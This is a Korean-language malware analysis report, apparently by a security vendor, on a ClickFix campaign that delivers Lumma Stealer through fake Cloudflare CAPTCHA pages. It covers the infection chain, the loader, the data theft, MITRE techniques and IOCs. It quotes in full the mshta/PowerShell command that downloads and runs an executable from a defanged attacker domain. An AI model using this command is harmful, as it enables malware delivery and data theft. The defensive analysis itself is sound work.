소개 :
최근 저희는 가짜 CAPTCHA 페이지를 사용하여 Lumma Stealer를 유포하는 새로운 악성코드 캠페인을 발견했습니다. Lumma Stealer는 악성코드 서비스형(MaaS) 모델로 운영되는 정보 탈취범으로, 2022년에 처음 발견되었습니다. 2024년 중반을 포함한 이전 캠페인에서 공격자는 피싱과 가짜 reCAPTCHA 페이지를 포함하는 ClickFix라는 사기성 전술을 사용하여 Google 인증 페이지를 타겟팅했습니다.
이 최신 캠페인에서 공격자들은 ClickFix를 계속해서 사용하고 있으며, 피싱 및 가짜 reCAPTCHA 페이지를 활용하여 피해자가 클립보드에 복사한 악성 명령을 실행하도록 속이고 있습니다. 그러나 이제는 Cloudflare 인증 페이지를 사칭하는 데 주력하고 있습니다. 이 보고서에서는 ClickFix 감염 사슬의 여러 단계, 즉 Cloudflare reCAPTCHA로 위장한 ClickFix 페이지, MSHTA 및 PowerShell을 악용하여 .NET 로더를 제공하는 방법을 설명합니다.
감염 사슬:
감염 경로는 피해자가 악성 명령을 실행하도록 속이는 가짜 CAPTCHA 페이지에서 시작됩니다. 이 웹페이지는 "로봇이 아닙니다 - Cloudflare 인증"과 같은 사기성 메시지를 표시하며, 사용자에게 Windows 실행 대화 상자에서 제공된 명령을 복사하여 실행하도록 유도합니다. 명령이 실행되면 mshta.exe가 실행되고, 이 명령은 내장된 VBScript를 실행합니다. VBScript는 WScript.Shell 객체를 생성하여 PowerShell을 명령. PowerShell은 Invoke-WebRequest를 사용하여 원격 서버에서 악성 페이로드(g.exe)를 다운로드하고 다운로드 폴더에 저장합니다. 이후 Start-Process를 사용하여 v.exe를 실행하여 공격의 다음 단계를 시작합니다. v.exe 파일은 로더 역할을 하여 Lumma Stealer를 복호화하고 메모리에 삽입합니다.


내장된 JS 스크립트 분석:
이 스크립트는 사용자를 속여 악성 PowerShell 명령을 복사하고 실행하도록 유도하여 소셜 엔지니어링 공격을 실행하도록 설계되었습니다. 이 공격은 Cloudflare의 인적 확인 절차로 위장하여 합법적인 것처럼 보이면서도 은밀하게 악성 활동을 수행합니다.
텍스트 영역 요소의 악성 페이로드:
악성 JS 스크립트에는 악성 PowerShell 및 MSHTA 명령이 포함된 두 개의 텍스트 영역 요소가 포함되어 있습니다. 첫 번째 페이로드는 hxxps[:]//deskbot.net에서 악성 파일(kyc.mp4)을 다운로드하고 실행하도록 설계된 PowerShell 명령을 실행합니다. 이 방법은 Lumma Stealer를 배포하는 데 사용되었으며, JavaScript 파일에 주석 처리되어 있습니다(그림 3 참조).
두 번째 텍스트 영역 요소는 mshta.exe를 사용하여 PowerShell 명령을 시작하는 VBScript를 실행합니다.
mshta vbscript:Execute(“CreateObject(“”WScript.Shell””).Run(“”powershell -c iwr 'hxxps[:]//kvndbb3[.]com/g[.]exe' -o $HOME\Downloads\v.exe; Start-Process $HOME\Downloads\v.exe””,0)(window.close) ' 로봇이 아닙니다 – Cloudflare 확인 ID: 5mUiAHM”)
Invoke-WebRequest(iwr)를 사용하여 "를 다운로드합니다.g.exe” 에 kvndbb3[.]com 그리고 그것을 다음과 같이 저장합니다. "v.exe" 다운로드 폴더에 있습니다. 그리고 Start-Process를 사용하여 실행합니다. 이 방법은 mshta.exe 및 WScript.Shell 등을 활용하여 보안 조치를 우회하는 맬웨어 공격의 회피 기법으로 사용됩니다.



가짜 인간 검증 전략:
이 스크립트의 가장 기만적인 측면 중 하나는 가짜 인간 확인 메커니즘을 사용한다는 것입니다. 클라우드플레어의 확인 절차를 모방하여 사용자가 추가 단계를 완료해야 한다고 믿게 만듭니다. 사용자가 확인 버튼을 클릭하면 스크립트는 숨겨진 악성 명령을 자동으로 클립보드에 복사합니다. 그런 다음 피해자는 이 명령을 터미널에 붙여넣고 실행하도록 속아 악성코드가 다운로드되고 실행될 수 있습니다.
공격의 효과를 높이기 위해 스크립트에는 다국어 번역(영어, 스페인어, 중국어, 아랍어, 힌디어 등)이 포함되어 있습니다. 이는 공격자가 전 세계를 대상으로 공격하고 있음을 의미하며, 감염 성공 가능성이 높아집니다.
클립보드 하이재킹 메커니즘:

스크립트는 다음을 사용합니다. 클립보드로 복사() 숨겨진 텍스트 영역 안에 있는 악성 PowerShell 명령을 선택하여 사용자가 확인 버튼을 누를 때 클립보드에 복사하는 기능입니다. 이는 사용자가 자신도 모르게 악성 코드를 실행하도록 유도하는 은밀한 기법입니다. 그림 3과 그림 5에서 볼 수 있듯이요.
공격자는 복사한 후, 사용자에게 PowerShell 터미널에 명령을 붙여넣고 실행하도록 지시합니다. 실행되면 악성코드가 다운로드 및 설치되고, 피해자의 컴퓨터에 영구적으로 저장되는 데 사용될 수 있습니다.
dotnet 로더 분석:

로더는 다양한 분석 방지 기법을 사용하여 연구원을 방해하고 탐지를 회피합니다. 분석 결과, 로더는 디버깅 또는 샌드박스 환경을 탐지하기 위해 실행 시간 범위를 모니터링하는 것으로 나타났습니다. 이러한 확인은 그림 8에서 볼 수 있듯이 잠재적인 분석 시도를 식별하는 데 도움이 됩니다.

로더를 분석하는 동안 그림 9에 표시된 키를 사용하여 두 번째 페이로드를 복호화한다는 것을 발견했습니다. 복호화된 코드는 다음을 사용하여 프로세스 메모리에 주입됩니다. API VirtualProtect와 같은 기법을 사용하여 WriteProcessMemory와 CreateThread를 통해 주입된 페이로드를 실행합니다. 이 기법은 탐지를 회피하는 데 일반적으로 사용되며, 아래 그림 10에 표시된 것처럼 악성 코드가 메모리에서 실행되도록 합니다.


탑재체 분석(루마 스틸러):
페이로드 샘플은 암호화된 데이터와 문자열을 포함한 32비트 샘플입니다.

그림 12에서 볼 수 있듯이, 악성 소프트웨어 실행을 진행하기 전에 최종 확인 역할을 하는 "악성 소프트웨어를 실행하시겠습니까?"라는 메시지가 있는 대화 상자가 나타납니다.

API 확인 기능:
아래 그림 13에 표시된 API 해싱 기술을 사용하여 API를 해결하는 기능이 있습니다.

데이터 유출
The 악성 코드 BitBlt 및 CreateCompatibleBitmap을 비롯한 Windows GDI API를 활용하여 전체 화면을 캡처하고 캡처한 콘텐츠를 비트맵 이미지로 저장합니다.

또한 GetClipboardData API를 사용하여 클립보드에서 민감한 데이터를 훔치려고 시도합니다. 데이터가 추출되면, 훔친 정보를 빼내기 위한 명령 및 제어(C2C) 연결을 설정합니다.

C2C 연결:
스틸러는 사용자 에이전트 문자열에 Mozilla/5.0을 사용하여 C2C 서버와 통신하는 동안 정상적인 웹 트래픽에 섞여들게 합니다. 이러한 전략은 스틸러가 네트워크 트래픽의 이상 징후를 모니터링하는 보안 솔루션의 탐지를 피하는 데 도움이 됩니다.


이 맬웨어는 업데이트를 용이하게 하고, 명령을 수신하고, 도난당한 데이터를 빼내기 위해 7개의 하드코딩된 도메인을 명령 및 제어 서버로 사용합니다.
결론 :
ClickFix 캠페인은 위협 행위자들이 소셜 엔지니어링 기법을 지속적으로 사용하여 보안 조치를 우회하고 사용자를 속이는 방식을 보여줍니다. 이 캠페인에서 공격자는 가짜 Cloudflare CAPTCHA 페이지, 클립보드 하이재킹, MSHTA 및 PowerShell과 같은 Windows 유틸리티 악용을 활용하여 Lumma Stealer를 효율적으로 배포하고 실행합니다. 이 공격에 사용된 .NET 로더에는 탐지를 피하기 위한 분석 방지 기술이 포함되어 있습니다. 캠페인에서 여러 언어를 사용하는 것은 전 세계적인 타겟팅 접근 방식을 강조하여 광범위한 위협으로 작용합니다.
MITRE ATT&CK 기술:
| 성함 | 기술 ID | 성함 |
| 가짜 캡차 검증 | T1566 | 피싱 (Phishing) |
| PowerShell 실행 | T1204
T1059.001 |
사용자 실행 명령 및 스크립팅 인터프리터: PowerShell |
| Mshta 처형
|
T1218.005
T1027.009 |
시스템 바이너리 프록시 실행: Mshta 난독화된 파일 또는 정보: 임베디드 페이로드 |
| 화면 캡처 | T1113 | 화면 캡처 |
| powershell.exe를 사용하여 암호화된 페이로드를 실행했습니다.
|
T1059.001
T1027.013 |
명령 및 스크립팅 인터프리터: PowerShell 난독화된 파일 또는 정보: 암호화/인코딩된 파일 |
| 입력 캡처 | T1056 | 키 로깅 |
| 방어 회피 | T1055.012 | 프로세스 주입: 프로세스 비우기
|
| 콘텐츠 주입 | T1659 | 시스템에 악성 코드 주입 |
| 명령 및 제어 | T1071.001 | 애플리케이션 계층 프로토콜: 웹 프로토콜
|
보호:
Trojan.Ghanarava.1739530256ee4fbc
Trojan.Ghanarava.1739337049382d41
Trojan.LummaStealerCiR
IOC:
| MD5 | 파일 이름 |
| 9A926390B4E4EF1EEC4E9E6C80382D41 | v.exe |
| 049F8BF92786B0AFF493BC8533EE4FBC | 루마 페이로드 |
| C2C | |
| ignoredshee.com | |
| 브리더트렘드닷컴 | |
| garulouscuto.com | |
| torpdidebar.com | |
| hopeedreamed.com | |
| 액티오트레아즈닷컴 | |
| importenptoc.com | |
| 레벨데터른닷컴 | |
| torpdidebar.com | |
| 보이스샤프닷컴
|
|
저자 :
소우멘 버마
바이바브 빌라데



